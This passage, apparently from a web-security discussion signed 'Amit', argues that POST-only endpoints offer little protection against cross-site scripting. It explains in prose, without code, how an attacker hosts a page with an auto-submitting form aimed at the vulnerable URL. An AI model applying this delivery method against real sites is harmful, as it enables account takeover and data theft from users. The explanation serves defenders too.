form data and is vulnerable to XSS, the attack surface greatly increases over a site that is vulnerable to XSS but only accepts the POST method. POST is still attackable, but it becomes more complicated than simply emailing a link.
An attacker can email a link to his/her own website/page, and this specially crafted page can contain a form (with method=POST and action being the vulnerable URL) followed by a piece of Javascript that submits this form. So XSS on POST method URLs isn't much more complicated than XSS on GET URLs. -Amit
